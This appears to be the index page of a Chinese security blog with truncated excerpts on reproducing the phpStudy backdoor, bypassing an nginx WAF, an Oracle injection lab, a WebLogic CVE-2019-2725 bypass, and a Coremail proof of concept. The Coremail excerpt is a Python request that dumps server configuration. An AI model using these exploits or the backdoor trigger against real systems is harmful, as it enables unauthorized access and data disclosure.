未分类

phpStudy 隐藏web后门复现

09月23日 未分类 1条评论

GET / HTTP/1.1 Host: 192.168.1.16 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63....

密码保护：Bypass ngx_lua_waf

08月08日 未分类 要查看留言请输入您的密码。

pass 0x00 前言  ngx_lua_waf是一款基于ngx_lua的web应用防火墙，使用简单，高性能、轻量级。默认防御规则在wafconf目录中，摘录几条核心的SQL注入防御规则： select.+(from|...

搭建oracle 注入环境

06月27日 未分类 7条评论

碰到了一个很复杂的SQL 注入的oracle 注入坑。 那么就弄一个本地测试环境吧 环境:Centos 7.4   64 那么首先弄一个oracle 环境 想了一下还是用Docker 了 dock...

CVE-2019-2725 绕过 复现

06月24日 未分类 1条评论

CVE-2019-2725 绕过 复现 系统版本 Centos7.5 JDK 版本：jdk1.6.0_45     ：直接去官网下载 weblogic 版本：10.3.6      ： 直接去官网下载 ...

coremail poc

06月15日 未分类 没有评论

import requests,sys def mailsmsPoC(url): url = url + "/mailsms/s?func=ADMIN:appState&dumpConfig=/" r = requests.get(url) if (r.status_code != '404') and ("/home/coremail...